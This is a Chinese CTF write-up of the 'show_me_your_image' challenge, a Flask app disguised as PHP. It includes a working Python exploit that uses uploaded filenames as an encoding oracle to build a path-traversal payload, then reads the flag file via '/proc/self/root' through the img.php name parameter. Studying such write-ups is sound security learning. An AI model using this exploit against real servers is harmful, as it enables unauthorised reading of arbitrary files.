网络安全专项赛
跟队友打了一下这个比赛,小白学习了很多知识
show_me_your_image
这道题目很晕,上传文件之后可以查看,URL中的name似乎可以进行任意文件读取,但是base64解码之后得到的结果却是乱码,同时session可以用之前flask解码的脚本解码,但是这明明是php???(后来才知道是伪装成了php的flask)
首先还是需要学习一下python中的requests包,如何使用requests包上传文件
requests上传文件的简要代码如下:
# coding=utf-8
import requests
url = "http://localhost:6789/upload"
file = open("1.jpg", 'rb')
files = {'file': ('new_name.jpg', file, 'image/pjpeg')}
response = requests.post(url, files=files)
file.close()
print response.status_code
print response.request.headers
print response.request.body
files中包含了file对应的文件名,文件内容,和类型,有这三者就够了
参考师傅们的exp
import urllib
import base64
import requests
from bs4 import BeautifulSoup
def base_encode(target, filename):
if len(filename) != 3:
return None
r = requests.post(target+"upload.php",
files={'file': (filename + '.jpg',
'z3r0test', 'text/plain')}
)
# print(r.text)
soup = BeautifulSoup(r.text, "html.parser")
pic_url = soup.find('img')
# print(pic_url['src'].replace('img.php?name=', ''))
filename = pic_url['src'].replace('img.php?name=', '')
# print(filename)
urldecode = urllib.parse.unquote(filename)
return urldecode[:4]
def read(target, filename):
filename = urllib.parse.unquote(filename)
r = requests.get(target+"img.php",
params={'name': filename})
print(r.text)
if __name__ == "__main__":
target = "http://fc663c386ea14c96ba9808b72602d341fda4447a2bfb4e01.changame.ichunqiu.com/"
payload = "../.././proc/self/root/root/flag.txt"
# payload = "../..//proc/self/cwd/app.py"
if len(payload) % 3 != 0:
print("must be three times!")
exit()
final = ""
for i in range(0, len(payload), 3):
final += base_encode(target, payload[i:i + 3])
final = urllib.parse.quote(final)
read(target, final)
两个trick:
- fuzz出文件名的编码关系,这里是三个变四个
- /proc/self/cwd/ 指向的是当前路径,在本题中用于拼凑3倍数长度的字符串
其实我们只需要上传文件名然后获得对应的编码就行r = requests.post(target+"upload.php",files={'file': (filename + '.jpg', 'z3r0test', 'text/plain')})
之后调用BeautifulSoup去解析就行了